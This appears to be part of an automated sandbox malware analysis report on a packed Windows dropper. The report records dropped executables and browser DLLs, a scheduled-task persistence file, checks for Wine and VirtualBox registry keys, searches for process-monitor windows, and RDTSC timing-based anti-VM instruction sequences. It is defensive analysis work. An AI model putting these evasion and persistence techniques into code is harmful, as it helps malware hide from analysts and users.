Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.2764437765.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 1.2.file.exe.250000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xsqfukre:EW;aqionntw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xsqfukre:EW;aqionntw:EW;.taggant:EW;
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Unpacked PE file: 29.2.DocumentsCFIECBFIDG.exe.690000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jexkdxjd:EW;jghdqcql:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jexkdxjd:EW;jghdqcql:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 30.2.skotes.exe.ff0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jexkdxjd:EW;jghdqcql:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jexkdxjd:EW;jghdqcql:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 32.2.skotes.exe.ff0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jexkdxjd:EW;jghdqcql:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jexkdxjd:EW;jghdqcql:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C953480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

1_2_6C953480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 26a643af99.exe.32.dr	Static PE information: real checksum: 0x43e940 should be: 0x4439dd
Source: random[1].exe.32.dr	Static PE information: real checksum: 0x43e940 should be: 0x4439dd
Source: DocumentsCFIECBFIDG.exe.1.dr	Static PE information: real checksum: 0x1ed882 should be: 0x1e1f10
Source: skotes.exe.29.dr	Static PE information: real checksum: 0x1ed882 should be: 0x1e1f10
Source: file.exe	Static PE information: real checksum: 0x1bf133 should be: 0x1cc4de
Source: random[1].exe.1.dr	Static PE information: real checksum: 0x1ed882 should be: 0x1e1f10

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: xsqfukre
Source: file.exe	Static PE information: section name: aqionntw
Source: file.exe	Static PE information: section name: .taggant
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: jexkdxjd
Source: random[1].exe.1.dr	Static PE information: section name: jghdqcql
Source: random[1].exe.1.dr	Static PE information: section name: .taggant
Source: DocumentsCFIECBFIDG.exe.1.dr	Static PE information: section name:
Source: DocumentsCFIECBFIDG.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsCFIECBFIDG.exe.1.dr	Static PE information: section name:
Source: DocumentsCFIECBFIDG.exe.1.dr	Static PE information: section name: jexkdxjd
Source: DocumentsCFIECBFIDG.exe.1.dr	Static PE information: section name: jghdqcql
Source: DocumentsCFIECBFIDG.exe.1.dr	Static PE information: section name: .taggant
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: skotes.exe.29.dr	Static PE information: section name:
Source: skotes.exe.29.dr	Static PE information: section name: .idata
Source: skotes.exe.29.dr	Static PE information: section name:
Source: skotes.exe.29.dr	Static PE information: section name: jexkdxjd
Source: skotes.exe.29.dr	Static PE information: section name: jghdqcql
Source: skotes.exe.29.dr	Static PE information: section name: .taggant
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: .rsrc
Source: random[1].exe.32.dr	Static PE information: section name: .idata
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: rmijescy
Source: random[1].exe.32.dr	Static PE information: section name: yoxmxstw
Source: random[1].exe.32.dr	Static PE information: section name: .taggant
Source: 26a643af99.exe.32.dr	Static PE information: section name:
Source: 26a643af99.exe.32.dr	Static PE information: section name: .rsrc
Source: 26a643af99.exe.32.dr	Static PE information: section name: .idata
Source: 26a643af99.exe.32.dr	Static PE information: section name:
Source: 26a643af99.exe.32.dr	Static PE information: section name: rmijescy
Source: 26a643af99.exe.32.dr	Static PE information: section name: yoxmxstw
Source: 26a643af99.exe.32.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C98B536 push ecx; ret	1_2_6C98B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_0100D91C push ecx; ret	32_2_0100D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_0105EB0C push 78861314h; mov dword ptr [esp], ebx	32_2_0105EB27

Source: file.exe	Static PE information: section name: xsqfukre entropy: 7.952680273964321
Source: random[1].exe.1.dr	Static PE information: section name: entropy: 7.98230126611358
Source: random[1].exe.1.dr	Static PE information: section name: jexkdxjd entropy: 7.953147088768915
Source: DocumentsCFIECBFIDG.exe.1.dr	Static PE information: section name: entropy: 7.98230126611358
Source: DocumentsCFIECBFIDG.exe.1.dr	Static PE information: section name: jexkdxjd entropy: 7.953147088768915
Source: skotes.exe.29.dr	Static PE information: section name: entropy: 7.98230126611358
Source: skotes.exe.29.dr	Static PE information: section name: jexkdxjd entropy: 7.953147088768915
Source: random[1].exe.32.dr	Static PE information: section name: rmijescy entropy: 7.95593460144123
Source: 26a643af99.exe.32.dr	Static PE information: section name: rmijescy entropy: 7.95593460144123

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCFIECBFIDG.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsCFIECBFIDG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCFIECBFIDG.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCFIECBFIDG.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsCFIECBFIDG.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C9B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_6C9B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49FB86 second address: 49FB8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49FB8E second address: 49FBA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop ecx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610B0E second address: 610B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610B17 second address: 610B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610B1B second address: 610B37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610B37 second address: 610B3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619481 second address: 619486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619608 second address: 61960D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61960D second address: 61961D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FB818D70DC6h 0x0000000a jnc 00007FB818D70DC6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619780 second address: 619785 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619785 second address: 6197AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jg 00007FB818D70DD9h 0x0000000b jmp 00007FB818D70DD1h 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6197AC second address: 6197B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6197B0 second address: 6197D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FB818D70DCCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619925 second address: 619962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8192482E8h 0x00000009 jmp 00007FB8192482E8h 0x0000000e popad 0x0000000f je 00007FB8192482DCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B6C7 second address: 61B6CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B6CC second address: 61B722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8192482E6h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FB8192482E7h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 pushad 0x00000018 push edx 0x00000019 pop edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c popad 0x0000001d jmp 00007FB8192482DCh 0x00000022 popad 0x00000023 mov eax, dword ptr [eax] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push edx 0x00000029 pop edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B722 second address: 61B727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B727 second address: 61B741 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB8192482DCh 0x00000008 je 00007FB8192482D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 push eax 0x00000018 pop eax 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B741 second address: 61B747 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B747 second address: 61B74B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B7CE second address: 61B7DB instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB818D70DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B7DB second address: 61B851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 add dword ptr [esp], 0C8DB28Eh 0x0000000f mov ecx, dword ptr [ebp+122D2AF1h] 0x00000015 push 00000003h 0x00000017 mov esi, dword ptr [ebp+122D2AB5h] 0x0000001d push 00000000h 0x0000001f pushad 0x00000020 and edi, dword ptr [ebp+122D28D9h] 0x00000026 call 00007FB8192482DDh 0x0000002b mov dword ptr [ebp+122D3949h], eax 0x00000031 pop ecx 0x00000032 popad 0x00000033 push 00000003h 0x00000035 sub dword ptr [ebp+122D17C3h], esi 0x0000003b call 00007FB8192482D9h 0x00000040 jmp 00007FB8192482E9h 0x00000045 push eax 0x00000046 pushad 0x00000047 ja 00007FB8192482DCh 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B851 second address: 61B8AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818D70DD7h 0x00000009 popad 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f je 00007FB818D70DE3h 0x00000015 jnl 00007FB818D70DDDh 0x0000001b mov eax, dword ptr [eax] 0x0000001d jmp 00007FB818D70DCAh 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jne 00007FB818D70DC8h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B8AF second address: 61B8B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B92B second address: 61B995 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FB818D70DC6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FB818D70DC8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D3995h], edi 0x00000031 push 00000000h 0x00000033 mov dword ptr [ebp+122D1EE3h], edi 0x00000039 call 00007FB818D70DC9h 0x0000003e pushad 0x0000003f jmp 00007FB818D70DD8h 0x00000044 push eax 0x00000045 push edx 0x00000046 push edx 0x00000047 pop edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B995 second address: 61B9B0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB8192482D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FB8192482DAh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B9B0 second address: 61B9B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B9B4 second address: 61B9C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B9C5 second address: 61BA78 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB818D70DC8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f jmp 00007FB818D70DD3h 0x00000014 jmp 00007FB818D70DD4h 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f jl 00007FB818D70DD9h 0x00000025 jmp 00007FB818D70DD3h 0x0000002a jnc 00007FB818D70DDAh 0x00000030 popad 0x00000031 pop eax 0x00000032 push 00000003h 0x00000034 mov dword ptr [ebp+122D1EE3h], ecx 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ebx 0x0000003f call 00007FB818D70DC8h 0x00000044 pop ebx 0x00000045 mov dword ptr [esp+04h], ebx 0x00000049 add dword ptr [esp+04h], 00000015h 0x00000051 inc ebx 0x00000052 push ebx 0x00000053 ret 0x00000054 pop ebx 0x00000055 ret 0x00000056 or edi, dword ptr [ebp+122D3A49h] 0x0000005c push 00000003h 0x0000005e mov edi, dword ptr [ebp+122D2979h] 0x00000064 call 00007FB818D70DC9h 0x00000069 pushad 0x0000006a pushad 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BA78 second address: 61BA7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BA7E second address: 61BA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007FB818D70DC6h 0x0000000d rdtsc
